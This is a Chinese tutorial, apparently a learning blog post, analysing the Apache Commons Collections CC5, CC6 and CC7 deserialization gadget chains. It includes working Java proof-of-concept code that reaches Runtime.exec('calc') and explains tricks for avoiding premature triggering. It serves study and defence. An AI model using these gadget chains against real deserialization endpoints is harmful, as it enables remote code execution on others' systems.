CC链学习-中
字数 1550 2025-08-05 08:19:29
Apache Commons Collections反序列化漏洞分析(CC5-CC7)
概述
本文详细分析Apache Commons Collections反序列化漏洞中的CC5、CC6和CC7利用链,涵盖环境配置、POC分析、利用链解析和关键点说明。
环境要求
- JDK版本:1.7或1.8
- Commons Collections版本:3.1
CC5利用链分析
POC关键代码
ChainedTransformer transformerChain = new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc"})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException")
.getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);
利用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键点分析
-
BadAttributeValueExpException触发点:
- 在
readObject方法中调用valObj.toString() - 通过反射将
val字段设置为TiedMapEntry对象
- 在
-
TiedMapEntry.toString():
- 调用
getValue()方法 getValue()调用map.get()方法
- 调用
-
LazyMap.get():
- 当key不存在时,使用Transformer转换key
- 触发
ChainedTransformer执行链
CC6利用链分析
POC关键代码
Transformer fakeTransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("keykey");
// 通过反射设置真正的transformers
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fakeTransformer, transformers);
利用链
java.io.ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
...
Runtime.exec()
关键点分析
-
HashSet触发点:
HashSet.readObject()调用HashMap.put()HashMap.put()调用hash(key)
-
TiedMapEntry.hashCode():
- 调用
getValue() getValue()调用map.get()
- 调用
-
避免提前触发:
- 使用假的
Transformer数组初始化 - 序列化前通过反射设置真正的
transformers - 必须调用
lazyMap.remove("keykey")避免提前触发
- 使用假的
CC7利用链分析
POC关键代码
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
// 先设置假的Transformer数组
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
// 创建两个LazyMap实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
// 通过反射设置真正的transformers数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
// 移除多余的key
lazyMap2.remove("yy");
利用链
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
...
Runtime.exec()
关键点分析
-
Hashtable触发点:
Hashtable.readObject()调用reconstitutionPut()reconstitutionPut()调用e.key.equals(key)
-
AbstractMap.equals():
- 调用
m.get(key) m和key可控
- 调用
-
双LazyMap技巧:
- 需要两个LazyMap实例
- 第一个put的LazyMap作为
e.key - 第二个put的LazyMap作为
key
-
hash碰撞要求:
- 两个LazyMap的hash必须相同
- 示例中使用"yy"和"zZ"作为key实现hash碰撞
通用技巧
-
避免本地触发:
- 先使用无害的
Transformer数组构造对象 - 序列化前通过反射设置真正的恶意
Transformer数组
- 先使用无害的
-
LazyMap处理:
- 需要移除测试key避免提前触发
- CC6:
lazyMap.remove("keykey") - CC7:
lazyMap2.remove("yy")
-
反射修改字段:
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(fakeTransformer, transformers);
总结对比
| 利用链 | 触发类 | 关键调用链 | 特殊要求 |
|---|---|---|---|
| CC5 | BadAttributeValueExpException | toString()->getValue()->get() | 需要反射设置val字段 |
| CC6 | HashSet | hashCode()->getValue()->get() | 需要移除测试key |
| CC7 | Hashtable | equals()->get() | 需要两个LazyMap且hash相同 |
通过分析这些利用链,我们可以深入理解Java反序列化漏洞的利用原理和构造技巧。每种利用链都有其独特的触发方式和构造要求,掌握这些细节对于漏洞分析和防护具有重要意义。